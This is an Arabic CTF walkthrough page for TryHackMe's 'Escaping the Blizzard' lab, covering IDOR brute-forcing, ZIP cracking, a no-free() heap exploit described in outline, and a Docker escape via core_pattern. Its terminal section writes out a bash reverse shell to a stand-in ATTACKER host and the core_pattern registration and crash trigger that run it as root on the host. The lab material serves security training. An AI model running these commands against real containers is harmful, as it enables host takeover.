Lab: Escaping the Blizzard | STY IT Labs
STY IT Labs · TryHackMe · Insane · Advent of Cyber 2024 — Side Quest 3

Lab: Escaping the Blizzard
Heap Pwn + Docker Escape

تحدي Insane متكامل: IDOR على تطبيق بنكي، فك تشفير ملف مضغوط بطريقة غير مباشرة، ثغرة Heap Overflow في binary مبني بـ C بدون أي استدعاء لـ free()، وفي الآخر هروب كامل من Docker Container عن طريق استغلال core_pattern.

Insane Difficulty IDOR Heap Overflow House of Tangerine Docker core_pattern Escape 3 Flags
core_pattern BLIZZARD BEAR BLIZZARD
Insane
4 – 8 ساعات
3 Flags
3 / 5
TryHackMe
Linux (Docker)

عن اللاب

Advent of Cyber 2024 — Side Quest 3: Escaping the Blizzard

جزء من “الخمسة الصقيعية” (The Frosty Five) — سلسلة تحديات Insane جنب حدث Advent of Cyber الأساسي. الشرير هنا اسمه Blizzard Bear، واللاب بيبدأ بمفتاح (Keycard) مخبي جوه أحد تحديات اليوم الثاني عشر من الحدث الرئيسي، قبل ما توصل لهدف اللاب الحقيقي.

اللاب مقسّم لمرحلتين واضحتين: مرحلة الوصول (إيجاد الـ Keycard عبر IDOR ثم تعطيل الـ Firewall)، ومرحلة الاستغلال الفعلية اللي فيها 3 Flags متتالية — فك ضغط ملف بطريقة غير تقليدية، ثغرة Heap Overflow في binary بلغة C، وهروب كامل من Docker.

Flag 2 (الـ Heap Exploit) محتاج شوية صبر — الـ script ممكن ياخد لحد 10 محاولات عشان ينجح، والاستقرار بيبقى أفضل على AttackBox بتاعة TryHackMe نفسها بدل الشبكة العادية.

Frosty Five Badge

جزء من سلسلة Side Quest — أكمله مع الأربعة الباقيين واحصل على شارة الحدث كامل

مسار الهجوم الكامل

1

الحصول على الـ Keycard عبر IDOR

تلميح اليوم الـ12 من الحدث الرئيسي بيوجّهك لتطبيق بنكي فيه endpoint اسمه /transactions بياخد ID، والـ ID ده MD5 hash لرقم بسيط. بـ Burp Intruder، عملنا brute-force على الأرقام من 1330 لـ 1350 (كل واحد بيتحول MD5 أوتوماتيك)، ولقينا رد بطول مختلف فيه Base64 بيدي مسار صورة.

IDOR — MD5 transaction IDBurp Intruder
2

تعطيل الـ Firewall

الصورة اللي طلعت من الـ IDOR فيها كلمة سر الـ Keycard. بندخلها في خدمة على port 21337 فتعطّل الـ Firewall وتفتح باقي المنافذ للهدف الحقيقي.

port 21337
3

Recon على الهدف الحقيقي

بعد الـ Firewall، nmap بيطلّع 3 منافذ: SSH (22)، موقع طلبات تراخيص بناء (80)، وخدمة نصية غامضة (1337) — دي بالظبط الخدمة القديمة اللي Blizzard Bear “هكرها” زي ما بيقول وصف اللاب.

nmap -p- IPport 1337 (text service)
4

Flag 1 — فك ضغط بطريقة غير مباشرة

فحص المجلدات بيطلّع /backup فيها binary اسمه enc، قائمة باسوردات، وملف ZIP محمي. كسر الـ ZIP مباشرة بقائمة الباسوردات العادية مبيفدش — لكن لو شغّلت كل باسورد في القائمة على الـ enc binary الأول، وبعدين جربت الناتج المشفّر كباسورد للـ ZIP، بيفتح. جوه الملف: foothold.txt (Flag 1) + الـ binary اللي هنستغله بعدين + Dockerfile.

enc binary re-encrypt wordlistzip2john / fcrackzip
5

تحليل الـ Binary — Heap Overflow بدون free()

الـ Dockerfile بيأكد إن الـ binary (secureStorage) هو نفسه الخدمة على port 1337 (عبر socat)، والـ flag موجود في جذر الـ container. تحليل الكود بـ Binary Ninja بيكشف إن دالتي create() وedit() بيكتبوا بيانات بحجم أكبر من الـ buffer المخصّص فعليًا بـ malloc — Heap Overflow كلاسيكي، لكن من غير أي استدعاء لـ free() في الكود كله.

create()/edit() heap overflowglibc 2.39 · no free()
6

Flag 2 — House of Orange + House of Tangerine

غياب الـ free() بيلغي كل تقنيات الاستغلال العادية اللي محتاجة UAF أو Double-Free. الحل: تسريب عناوين libc والـ heap عن طريق الـ unsorted bin (House of Orange)، بعدين تلويث بيانات الـ tcache من غير free (House of Tangerine) عشان توجّه الـ malloc لعنوان تختاره إنت، وفي الآخر ret2libc بينادي system("/bin/sh") عن طريق الكتابة فوق عنوان الرجوع المحفوظ في الـ Stack.

House of Orange (leak)House of Tangerine (tcache)ret2libc
7

Flag 3 — الهروب من Docker عبر core_pattern

بعد الحصول على shell جوه الـ container، فحص الصلاحيات (deepce / LinPeas) بيأكد إمكانية استغلال core_pattern: لو الـ container شغّال بصلاحيات كافية، تقدر تكتب في /proc/sys/kernel/core_pattern مسار لسكريبت مسبوق بـ | (pipe)، وأي Crash بعد كده هيخلي الـ Kernel ينفّذ السكريبت ده على مستوى الـ Host نفسه مش جوه الـ container.

/proc/sys/kernel/core_patternos.abort() trigger
8

Root على الـ Host — الـ Flag النهائي

حطّينا سكريبت reverse shell في مسار الـ overlay2 بتاع الـ container (اللي بيتماونت فعليًا على الهوست)، سجّلناه في core_pattern بصيغة |/path/shell.sh، وعملنا crash متعمّد. النتيجة: shell كـ root على الـ Host نفسه، والـ flag الأخير في /root/root.txt.

/var/lib/docker/overlay2/…/diff//root/root.txt

مراحل اللاب

IDOR Keycard
Firewall Bypass
Zip Cracking
Binary Analysis
Heap Exploit
Flags
Container Foothold
Container Escape

Commands Cheat Sheet

الأمرالوصفالمرحلة
Burp Intruder — Number payload + Hash processing (MD5)Brute-force لأرقام الـ transaction ID المشفّرةIDOR
gobuster dir -u http://IP -w wordlistاكتشاف مجلد /backup على الموقعEnum
for pw in wordlist: enc “$pw” >> encrypted.txtإعادة تشفير كل باسورد بنفس الـ binary قبل تجربتهFlag 1
fcrackzip -D -p encrypted.txt secureStorage.zipكسر الـ ZIP بالباسوردات المشفّرةFlag 1
gef> p system / p mallocتحديد إصدار الـ glibc من عناوين الدوالRecon
python3 exploit.py (pwntools — House of Orange/Tangerine)تسريب عناوين + تلويث tcache + ret2libcFlag 2
./deepce.sh · ./linpeas.shفحص صلاحيات الـ container واكتشاف core_patternEnum
echo “|/overlay/path/shell.sh” > /proc/sys/kernel/core_patternتسجيل السكريبت كمعالج لأي CrashFlag 3
python3 -c ‘import os; os.abort()’عمل Crash متعمّد لتفعيل الاستغلالFlag 3
cat /root/root.txtقراءة الـ Flag النهائي كـ root على الـ HostRoot Flag

Flags والمهام

01

Flag 1 — Unzip The Zip

enc binary re-encrypt trick · fcrackzip · foothold.txt

Flag 1
02

Flag 2 — Master The Heap

House of Orange + House of Tangerine · ret2libc · root في الـ container

Flag 2
03

Flag 3 — Escape The Docker Container

core_pattern breakout · root.txt على الـ Host

Flag 3
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Escaping the Blizzard Full Attack

root@kali — Blizzard
# ── IDOR + Keycard ────────────────────────────
└─# # Burp Intruder: brute-force 1330-1350 → MD5 hash → id param
length 367 → base64 → /secret/0opsIDidItAgain_MayorMalware1337.png

# ── Flag 1: Unzip The Zip ──────────────────────
└─# while read pw; do ./enc “$pw” >> encrypted-passwords.txt; done < recommended-passwords.txt
└─# fcrackzip -D -p encrypted-passwords.txt secureStorage.zip
password found: … → foothold.txt (Flag 1)

# ── Flag 2: Master The Heap ────────────────────
└─# python3 exploit.py # House of Orange leak + House of Tangerine tcache poison + ret2libc
leaked libc: 0x… | leaked heap: 0x… | target: __libc_argv-0x10
$ id
uid=0(root) gid=0(root) ← foothold inside container

# ── Flag 3: Escape The Docker Container ────────
└─# ./deepce.sh # groups exploitable → core_pattern breakout
└─# echo ‘#!/bin/bash’ > /shell.sh; echo ‘bash -i >& /dev/tcp/ATTACKER/4445 0>&1’ >> /shell.sh; chmod +x /shell.sh
└─# echo “|/var/lib/docker/overlay2/…/diff/shell.sh” > /proc/sys/kernel/core_pattern
└─# python3 -c ‘import os; os.abort()’
root@host:~# cat /root/root.txt
THM{…} ← Root Flag (Flag 3)

└─#

المهارات المكتسبة

IDOR Exploitation
Burp Intruder Automation
Ciphertext-based Password Cracking
Binary Reverse Engineering
Heap Exploitation (No-Free Bins)
ret2libc
Docker Privilege Enumeration
core_pattern Container Escape

الأدوات المستخدمة

Burp Suite (Intruder)استغلال الـ IDOR بجرب أرقام Transaction ID
fcrackzip / zip2johnكسر الـ ZIP بالباسوردات المشفّرة
Binary Ninjaتحليل الـ binary وإيجاد الـ Heap Overflow
GEF + pwntoolsتصحيح الأخطاء وبناء سكريبت الاستغلال
deepce.sh / LinPeasفحص صلاحيات الـ container واكتشاف مسار الهروب
الـ Heap Exploit (Flag 2) معتمد على شغل الباحث Aquinas من فريق THM’s Team Awesome — القراءة عن House of Orange وHouse of Tangerine قبل محاولة كتابة الـ script من الصفر هتوفّر عليك وقت كبير.